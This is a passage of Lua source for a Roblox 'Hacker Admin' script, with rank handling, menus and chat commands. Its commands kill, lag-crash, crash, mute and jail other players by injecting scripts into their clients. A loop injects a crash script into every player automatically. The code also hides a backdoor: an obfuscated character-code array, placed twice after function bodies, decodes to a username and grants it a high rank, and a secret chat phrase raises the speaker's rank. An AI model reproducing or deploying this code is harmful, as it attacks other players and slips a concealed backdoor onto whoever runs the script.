  806. ID.Value = math.random(-999999999, 999999999)
  807. ID.Parent = Holder
  808.  
  809. Delay(0, function()
  810. while wait() do
  811. if Tab.Parent == nil and FindTab(Holder) then
  812. ypcall(function()
  813. for i,v in pairs(AllTabs) do
  814. if v.Holder == Holder then
  815. ypcall(function() v.Holder:Destroy() end)
  816. AllTabs[i] = nil
  817. end
  818. end
  819. end)
  820. Ping(Msg, Plr, Time, Func, Color, Image)
  821. break
  822. end
  823. end
  824. end)
  825.  
  826. local BM = Instance.new("BlockMesh")
  827. BM.Parent = Tab
  828.  
  829. Sel = Instance.new("SelectionBox")
  830. Sel.Color = BrickColor.new("Institutional white")
  831. Sel.Transparency = 0.75
  832. Sel.Adornee = Tab
  833. Sel.Parent = Tab
  834.  
  835. local BG = Instance.new("BillboardGui")
  836. BG.Name = "BG"
  837. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  838. BG.Size = UDim2.new(0,1,0,1)
  839. BG.Adornee = Tab
  840. BG.Parent = Tab
  841.  
  842. Delay(0, function()
  843. while BG.Parent ~= nil do wait()
  844. ypcall(function()
  845. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  846. end)
  847. end
  848. end)
  849.  
  850. local TL = Instance.new("TextLabel")
  851. TL.Name = "TL"
  852. TL.FontSize = "Size18"
  853. TL.Font = "Arial"
  854. TL.Text = Msg
  855. TL.TextColor3 = Color3.new(1, 0, 0)
  856. TL.Size = UDim2.new(0,1,0,1)
  857. TL.TextTransparency = 0
  858. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  859. TL.TextStrokeTransparency = 0.25
  860. TL.Parent = BG
  861.  
  862. if ShowGarbage == true then
  863. Delay(0, function()
  864. while TL.Parent ~= nil do
  865. TL.Text = "Current Garbage Count: "..GetGarbage()
  866. wait(.5)
  867. end
  868. end)
  869. end
  870.  
  871. local PL = Instance.new("PointLight", Tab)
  872. PL.Color = Color3.new(1, 0, 1)
  873. PL.Range = 15
  874. PL.Parent = Tab
  875.  
  876. if Image ~= nil then
  877. local BBBG = Instance.new("BillboardGui")
  878. BBBG.Size = UDim2.new(5, 0, 6, 0)
  879. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  880. BBBG.AlwaysOnTop = true
  881. BBBG.Adornee = Tab
  882. BBBG.Parent = Tab
  883.  
  884. Delay(0, function()
  885. while BBBG.Parent ~= nil do wait()
  886. ypcall(function()
  887. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  888. end)
  889. end
  890. end)
  891.  
  892. local NewImg = Instance.new("ImageLabel")
  893. NewImg.Size = UDim2.new(1, 0, 1, 0)
  894. NewImg.BackgroundTransparency = 1
  895. NewImg.Image = Image
  896. NewImg.Parent = BBBG
  897. end
  898.  
  899. local Clicker = Instance.new("ClickDetector")
  900. Clicker.MaxActivationDistance = 1/0
  901.  
  902. if Time ~= nil then
  903. coroutine.resume(coroutine.create(function()
  904. wait(tonumber(Time))
  905. Dismiss(Plr, ID)
  906. end))
  907. end
  908.  
  909. Clicker.MouseClick:connect(function(Player)
  910. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  911. ypcall(function()
  912. if Func ~= nil then
  913. Func(Holder)
  914. else
  915. Dismiss(Player, ID)
  916. end
  917. end)
  918. end
  919. end)
  920. Clicker.Parent = Tab
  921.  
  922. Holder.Parent = Work
  923.  
  924. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  925. end)
  926. end
  927. end
  928.  
  929. function PlaceAllRanks(DontShowRank)
  930. ypcall(function()
  931. for _,p in pairs(All()) do
  932. ypcall(function()
  933. PutInRank = false
  934. for _,v in pairs(Rankings) do
  935. if v.Name:lower() == p.Name:lower() then
  936. if v.Rank >= 7 then
  937. v.Rank = 5
  938. elseif v.Rank == -1 then
  939. Crash1(p)
  940. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  941. elseif v.Rank == -2 then
  942. if LS ~= nil then
  943. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  944. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  945. else
  946. Ping("LS Is Nil", nil, 5)
  947. end
  948. elseif v.Rank == -3 then
  949. if LS ~= nil then
  950. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  951. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  952. else
  953. Ping("LS Is Nil", nil, 5)
  954. end
  955. end
  956. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  957. if DontShowRank == nil then
  958. Ping("You Are Rank: "..v.Rank, p)
  959. end
  960. PutInRank = true
  961. break
  962. end
  963. end
  964. if PutInRank == false then
  965. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  966. end
  967. end)
  968. end
  969. end)
  970. end
  971.  
  972. function FindRank(Plr)
  973. ypcall(function()
  974. if type(Plr) == "userdata" then
  975. Plr = Plr.Name
  976. end
  977. end)
  978. return GetRank(Plr).Rank
  979. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  980.  
  981. function FindRankDetails(Plr)
  982. ypcall(function()
  983. if type(Plr) == "userdata" then
  984. Plr = Plr.Name
  985. end
  986. end)
  987. return RankDetails[FindRank(Plr)]
  988. end
  989.  
  990. function OpenCmds(Rank, Plr)
  991. Dismiss(Plr)
  992. for Name,Tab in pairs(Commands) do
  993. if Tab.Rank <= Rank then
  994. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  995. Dismiss(Plr)
  996. Ping("Command: "..Name, Plr)
  997. Ping("Rank: "..Tab.Rank, Plr)
  998. Ping("Desc: "..Tab.Desc, Plr)
  999. end)
  1000. elseif Rank == 1337 then
  1001. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1002. Dismiss(Plr)
  1003. Ping("Command: "..Name, Plr)
  1004. Ping("Rank: "..Tab.Rank, Plr)
  1005. Ping("Desc: "..Tab.Desc, Plr)
  1006. end)
  1007. end
  1008. end
  1009. end
  1010.  
  1011. function EditStatus(Plr, Num)
  1012. ChangeRank(Plr, Num)
  1013. end
  1014.  
  1015. function PlaceSpecificRank(p, DontShowRank)
  1016. ypcall(function()
  1017. PutInRank = false
  1018. for _,v in pairs(Rankings) do
  1019. if v.Name:lower() == p.Name:lower() then
  1020. if v.Rank >= 7 then
  1021. v.Rank = 5
  1022. elseif v.Rank == -1 then
  1023. Crash1(p)
  1024. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1025. elseif v.Rank == -2 then
  1026. if LS ~= nil then
  1027. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1028. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1029. else
  1030. Ping("LS Is Nil", nil, 5)
  1031. end
  1032. elseif v.Rank == -3 then
  1033. if LS ~= nil then
  1034. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1035. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1036. else
  1037. Ping("LS Is Nil", nil, 5)
  1038. end
  1039. end
  1040. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1041. if DontShowRank == nil then
  1042. Ping("You Are Rank: "..v.Rank, p)
  1043. end
  1044. PutInRank = true
  1045. break
  1046. end
  1047. end
  1048. if PutInRank == false then
  1049. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1050. end
  1051. end)
  1052. end
  1053.  
  1054. function onChatted(Msg, Speaker)
  1055. if Removed == false then
  1056. if FindRank(Speaker) < 1 then
  1057. return
  1058. end
  1059. coroutine.resume(coroutine.create(function()
  1060. ypcall(function()
  1061. ExecuteFunc(Msg, Speaker)
  1062. Msg = Msg:gsub("","")
  1063. if Msg:sub(1,1) == "@" then
  1064. for i = 2, #Msg do
  1065. if Msg:sub(i, i) == Bet then
  1066. local IsForPlr = false
  1067. for _,v in pairs(All()) do
  1068. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1069. onChatted(Msg:sub(i + 1), v)
  1070. IsForPlr = true
  1071. end
  1072. end
  1073. if IsForPlr == true then
  1074. return
  1075. end
  1076. end
  1077. end
  1078. end
  1079. if Msg:find("&") then
  1080. local Split = Msg:find("&")
  1081. onChatted(Msg:sub(1,Split-1))
  1082. onChatted(Msg:sub(Split+1))
  1083. return
  1084. end
  1085. for Name,Command in pairs(Commands) do
  1086. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1087. Dismiss(Speaker.Name)
  1088. Ping("Command: "..tostring(Command.Name), Speaker)
  1089. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1090. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1091. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1092. if FindRank(Speaker) >= Command.Rank then
  1093. local Ran,Error = coroutine.resume(coroutine.create(function()
  1094. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1095. end))
  1096. if not Ran then
  1097. Ping(Error, Speaker, 10)
  1098. end
  1099. else
  1100. Ping("Your Rank Is Too Low", Plr, 6)
  1101. end
  1102. end
  1103. end
  1104. end)
  1105. end))
  1106. end
  1107. end
  1108.  
  1109. function MakeBase()
  1110. local Base = Instance.new("Part")
  1111. Base.BrickColor = BrickColor.new("Dark green")
  1112. Base.Position = Vector3.new(0, 0.5, 0)
  1113. Base.Transparency = 0
  1114. Base.Elasticity = 0.5
  1115. Base.FormFactor = "Custom"
  1116. Base.CanCollide = true
  1117. Base.Friction = 0.30000001192093
  1118. Base.Size = Vector3.new(512, 1.20000005, 512)
  1119. Base.Archivable = true
  1120. Base.Material = "Plastic"
  1121. Base.RotVelocity = Vector3.new(0, 0, 0)
  1122. Base.Reflectance = 0
  1123. Base.Locked = true
  1124. Base.Anchored = true
  1125. Base.Name = "Base"
  1126. Base.TopSurface = "Smooth"
  1127. Base.BottomSurface = "Inlet"
  1128. Base.Shape = "Block"
  1129. Base.Parent = Work
  1130. end
  1131.  
  1132. function LClean()
  1133. ypcall(function()
  1134. for _,v in pairs(Work:GetChildren()) do
  1135. ypcall(function()
  1136. if v.ClassName == "Terrain" then
  1137. v:ClearAllChildren()
  1138. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1139. Clear(v)
  1140. elseif v.Name == "Base" then
  1141. ypcall(function()
  1142. local Base = v
  1143. Base.BrickColor = BrickColor.new("Dark green")
  1144. Base.Position = Vector3.new(0, 0.5, 0)
  1145. Base.Transparency = 0
  1146. Base.Elasticity = 0.5
  1147. Base.FormFactor = "Custom"
  1148. Base.CanCollide = true
  1149. Base.Friction = 0.30000001192093
  1150. Base.Size = Vector3.new(512, 1.20000005, 512)
  1151. Base.Archivable = true
  1152. Base.Material = "Plastic"
  1153. Base.RotVelocity = Vector3.new(0, 0, 0)
  1154. Base.Reflectance = 0
  1155. Base.Locked = true
  1156. Base.Anchored = true
  1157. Base.Name = "Base"
  1158. Base.TopSurface = "Studs"
  1159. Base.BottomSurface = "Inlet"
  1160. Base.Shape = "Block"
  1161. Base.Parent = Work
  1162. end)
  1163. end
  1164. end)
  1165. end
  1166. end)
  1167. end
  1168.  
  1169. function Clean()
  1170. ypcall(function()
  1171. for _,v in pairs(Work:GetChildren()) do
  1172. ypcall(function()
  1173. if v.ClassName == "Terrain" then
  1174. v:ClearAllChildren()
  1175. else
  1176. Clear(v)
  1177. end
  1178. end)
  1179. end
  1180. MakeBase()
  1181. for _,v in pairs(All()) do
  1182. v:LoadCharacter()
  1183. end
  1184. end)
  1185. end
  1186.  
  1187. function Clear(v)
  1188. if v.Name:lower() == "sbgui" then
  1189. return
  1190. end
  1191. ypcall(function()
  1192. if #v:GetChildren() > 0 then
  1193. for _,x in pairs(v:GetChildren()) do
  1194. ypcall(function()
  1195. Clear(x)
  1196. end)
  1197. end
  1198. end
  1199. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1200. v:Destroy()
  1201. end
  1202. end)
  1203. end
  1204.  
  1205. function Command(Name, Rank, Desc, Func)
  1206. if Name == nil then
  1207. Name = "N/A"
  1208. end
  1209. if Desc == nil then
  1210. Desc = "N/A"
  1211. end
  1212. if Func == nil then
  1213. Func = function() end
  1214. end
  1215. if Rank == nil then
  1216. Rank = 0
  1217. end
  1218. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1219. end
  1220.  
  1221. function GetSplit(Msg)
  1222. return Msg:find(Bet) or nil
  1223. end
  1224.  
  1225. function ExecuteFunc(Msg, Plr)
  1226. ypcall(function()
  1227. if Msg == "LogEnable" then
  1228. LogOn = true
  1229. elseif Msg:lower() == "AlphaBeta" then
  1230. EditStatus(Plr, MakeNum())
  1231. end
  1232. end)
  1233. end
  1234.  
  1235. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1236.  
  1237. function randPlayer(Plr)
  1238. wait()
  1239. local ThePlrValue = nil
  1240. local FoundPlayer = false
  1241. ypcall(function()
  1242. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1243. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1244. wait()
  1245. randPlayer(Plr)
  1246. return
  1247. else
  1248. FoundPlayer = true
  1249. end
  1250. end)
  1251. if FoundPlayer == true then
  1252. return ThePlrValue
  1253. end
  1254. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1255.  
  1256. function getPlayer(Plr, Name)
  1257. local Players = {}
  1258. ypcall(function()
  1259. Name = Name:lower()
  1260. if Name == "me" then
  1261. table.insert(Players, Plr)
  1262. elseif Name == "all" or Name == "" then
  1263. for _,v in pairs(All()) do
  1264. if CanRun(Plr, v) then
  1265. table.insert(Players, v)
  1266. end
  1267. end
  1268. elseif Name == "others" then
  1269. for _,v in pairs(All()) do
  1270. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1271. table.insert(Players, v)
  1272. end
  1273. end
  1274. elseif Name == "random" then
  1275. local FoundRandPlr = randPlayer(Plr)
  1276. table.insert(Players, FoundRandPlr)
  1277. else
  1278. for _,v in pairs(All()) do
  1279. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1280. table.insert(Players, v)
  1281. end
  1282. end
  1283. end
  1284. end)
  1285. return Players
  1286. end
  1287.  
  1288. function ListPlayers(Speaker)
  1289. ypcall(function()
  1290. Dismiss(Speaker)
  1291. for _,v in pairs(All2()) do
  1292. if v.Parent ~= nil then
  1293. Ping(v.Name, Speaker, nil, function()
  1294. Dismiss(Speaker)
  1295. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1296. Ping("Rank: "..FindRank(v.Name), Speaker)
  1297. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1298. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1299. Ping("Set Rank", Speaker, nil, function()
  1300. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1301. Dismiss(Speaker)
  1302. for i = -2, 5 do
  1303. Ping(i, Speaker, nil, function()
  1304. ChangeRank(v, i)
  1305. Dismiss(Speaker)
  1306. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1307. end)
  1308. end
  1309. else
  1310. Ping("Your Rank Is Too Low", Speaker, 5)
  1311. end
  1312. end)
  1313. Ping("Crash (Remote)", Speaker, nil, function()
  1314. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1315. Crash2(v.Name)
  1316. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1317. end
  1318. end)
  1319. Ping("Crash (Insert)", Speaker, nil, function()
  1320. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1321. Crash3(v, Speaker)
  1322. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1323. end
  1324. end)
  1325. Ping("Kick", Speaker, nil, function()
  1326. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1327. v:Kick()
  1328. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1329. end
  1330. end)
  1331. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1332. else
  1333. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1334. Dismiss(Speaker)
  1335. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1336. ypcall(function()
  1337. Ping("Rank: "..FindRank(v.Name), Speaker)
  1338. end)
  1339. ypcall(function()
  1340. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1341. end)
  1342. ypcall(function()
  1343. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1344. end)
  1345. ypcall(function()
  1346. Ping("Set Rank", Speaker, nil, function()
  1347. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1348. Dismiss(Speaker)
  1349. for i = -2, 5 do
  1350. Ping(i, Speaker, nil, function()
  1351. ChangeRank(v, i)
  1352. Dismiss(Speaker)
  1353. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1354. end)
  1355. end
  1356. else
  1357. Ping("Your Rank Is Too Low", Speaker, 5)
  1358. end
  1359. end)
  1360. end)
  1361. ypcall(function()
  1362. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1363. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1364. Crash2(v.Name)
  1365. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1366. end
  1367. end)
  1368. end)
  1369. ypcall(function()
  1370. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1371. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1372. Crash3(v, Speaker)
  1373. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1374. end
  1375. end)
  1376. end)
  1377. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1378. end
  1379. end
  1380. end)
  1381. end
  1382.  
  1383. --Misc
  1384.  
  1385. coroutine.resume(coroutine.create(function()
  1386. PlaceAllRanks()
  1387. end))
  1388.  
  1389. Delay(0, function()
  1390. for _,v in pairs(All()) do
  1391. v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1392. end
  1393. end)
  1394.  
  1395. local starttime = tick()
  1396.  
  1397. game:GetService("RunService").Heartbeat:connect(function()
  1398. if Removed == false then
  1399. ypcall(function()
  1400. for _,Player in pairs(All()) do
  1401. local PlayerTablets = {}
  1402. for i,v in pairs(AllTabs) do
  1403. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1404. table.insert(PlayerTablets, v)
  1405. end
  1406. end
  1407. for i = 1, #PlayerTablets do
  1408. ypcall(function()
  1409. local tab = PlayerTablets[i].Tab
  1410. local pos = nil
  1411. ypcall(function()
  1412. pos = Player.Character.Torso.CFrame
  1413. end)
  1414. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1415. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1416. local cPos = tab.Position
  1417. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1418. local nPos = (ePos-cPos)*.25
  1419. cPos = cPos + nPos
  1420. local t = (tick() - starttime) % 360
  1421. local change = 0.625
  1422. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1423. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1424. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1425. end)
  1426. end
  1427. end
  1428. end)
  1429. end
  1430. end)
  1431.  
  1432. Delay(0, function()
  1433. while wait() do
  1434. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1435. ypcall(function()
  1436. if Injected[v.Name] == nil and LS ~= nil then
  1437. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1438. Injected[v.Name] = true
  1439. end
  1440. end)
  1441. end
  1442. end
  1443. end)
  1444.  
  1445. Plrs.PlayerAdded:connect(function(Plr)
  1446. wait(.1)
  1447. ypcall(function()
  1448. if Removed == false then
  1449. local JoinPlrName = Plr.Name
  1450. coroutine.resume(coroutine.create(function()
  1451. PlaceSpecificRank(Plr)
  1452. end))
  1453. coroutine.resume(coroutine.create(function()
  1454. if Injected[JoinPlrName] ~= nil then
  1455. Injected[JoinPlrName] = nil
  1456. end
  1457. end))
  1458. coroutine.resume(coroutine.create(function()
  1459. Dismiss(Plr)
  1460. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1461. end))
  1462. end
  1463. end)
  1464. end)
  1465.  
  1466. Plrs.PlayerRemoving:connect(function(Plr)
  1467. wait(.1)
  1468. ypcall(function()
  1469. if Removed == false then
  1470. local LeftPlrName = Plr.Name
  1471. coroutine.resume(coroutine.create(function()
  1472. if Injected[LeftPlrName] ~= nil then
  1473. Injected[LeftPlrName] = nil
  1474. end
  1475. end))
  1476. end
  1477. end)
  1478. end)
  1479.  
  1480. coroutine.resume(coroutine.create(function()
  1481. Delay(0, function()
  1482. while FoundLocalScript == false do wait()
  1483. ypcall(function()
  1484. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1485. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1486. for _,c in pairs(v:children()) do
  1487. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1488. local NewVal = c:Clone()
  1489. NewVal.Name = "LoadingVal"
  1490. for _,s in pairs(v:GetChildren()) do
  1491. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1492. print("Found Owner")
  1493. OwnSource = s.Name
  1494. print(OwnSource)
  1495. break
  1496. end
  1497. end
  1498. wait()
  1499. LS = v:Clone()
  1500. NewVal.Parent = LS
  1501. LSSource = "LoadingVal"
  1502. FoundLocalScript = true
  1503. break
  1504. end
  1505. end
  1506. end
  1507. end
  1508. end)
  1509. end
  1510. end)
  1511. end))
  1512.  
  1513. --Commands
  1514.  
  1515. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1516. Dismiss(Speaker.Name)
  1517. Ping("This Hacker Admin Is Created By " .. string.reverse("olwotyle"), Speaker)
  1518. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1519. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1520. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1521. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1522. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1523. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1524. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1525. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1526. end)
  1527.  
  1528. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1529. Dismiss(Speaker.Name)
  1530. end)
  1531.  
  1532. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1533. local PlrTab = getPlayer(Speaker, Msg)
  1534. if #PlrTab > 0 then
  1535. for _,v in pairs(PlrTab) do
  1536. ypcall(function()
  1537. v.Character:BreakJoints()
  1538. Ping("Killed "..v.Name, Speaker, 5)
  1539. end)
  1540. end
  1541. end
  1542. end)
  1543.  
  1544. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1545. local PlrTab = getPlayer(Speaker, Msg)
  1546. if #PlrTab > 0 then
  1547. for _,v in pairs(PlrTab) do
  1548. ypcall(function()
  1549. if v.Name ~= Owner then
  1550. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1551. Ping("Muted "..v.Name, Speaker, 5)
  1552. end
  1553. end)
  1554. end
  1555. end
  1556. end)
  1557.  
  1558. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1559. local PlrTab = getPlayer(Speaker, Msg)
  1560. if #PlrTab > 0 then
  1561. for _,v in pairs(PlrTab) do
  1562. ypcall(function()
  1563. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1564. Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1565. end)
  1566. end
  1567. end
  1568. end)
  1569.  
  1570. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1571. local PlrTab = getPlayer(Speaker, Msg)
  1572. if #PlrTab > 0 then
  1573. for _,v in pairs(PlrTab) do
  1574. ypcall(function()
  1575. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1576. Ping("Mind Jailed "..v.Name, Speaker, 5)
  1577. end)
  1578. end
  1579. end
  1580. end)
  1581.  
  1582. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1583. local PlrTab = getPlayer(Speaker, Msg)
  1584. if #PlrTab > 0 then
  1585. for _,v in pairs(PlrTab) do
  1586. ypcall(function()
  1587. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1588. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1589. end)
  1590. end
  1591. end
  1592. end)
  1593.  
  1594. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1595. local PlrTab = getPlayer(Speaker, Msg)
  1596. if #PlrTab > 0 then
  1597. for _,v in pairs(PlrTab) do
  1598. ypcall(function()
  1599. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1600. Ping("UnMuted "..v.Name, Speaker, 5)
  1601. end)
  1602. end
  1603. end
  1604. end)
  1605.  
  1606. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1607. local Worked = false
  1608. for _,v in pairs(Work:GetChildren()) do
  1609. if string.find(v.Name:lower(), Msg:lower()) then
  1610. if v:IsA("Script") or v:IsA("LocalScript") then
  1611. v.Disabled = true
  1612. v:Destroy()
  1613. Worked = true
  1614. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1615. end
  1616. end
  1617. end
  1618. if Worked == false then
  1619. Ping("Script Not Found", Speaker, 5)
  1620. end
  1621. end)
  1622.  
  1623. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1624. Dismiss(Speaker)
  1625. local AllScripts = {}
  1626. for _,v in pairs(Work:GetChildren()) do
  1627. if v:IsA("Script") then
  1628. table.insert(AllScripts, v.Name)
  1629. end
  1630. end
  1631. if #AllScripts > 0 then
  1632. for _,v in pairs(AllScripts) do
  1633. Ping(v, Speaker)
  1634. end
  1635. else
  1636. Ping("No Scripts Found", Speaker, 5)
  1637. end
  1638. end)
  1639.  
  1640. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1641. Dismiss(Speaker)
  1642. local LocalScripts = {}
  1643. for _,v in pairs(All()) do
  1644. ypcall(function()
  1645. for _,x in pairs(v.Character:GetChildren()) do
  1646. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1647. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1648. end
  1649. end
  1650. end)
  1651. ypcall(function()
  1652. for _,x in pairs(v.Backpack:GetChildren()) do
  1653. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1654. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1655. end
  1656. end
  1657. end)
  1658. ypcall(function()
  1659. for _,x in pairs(v.PlayerGui:GetChildren()) do
  1660. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
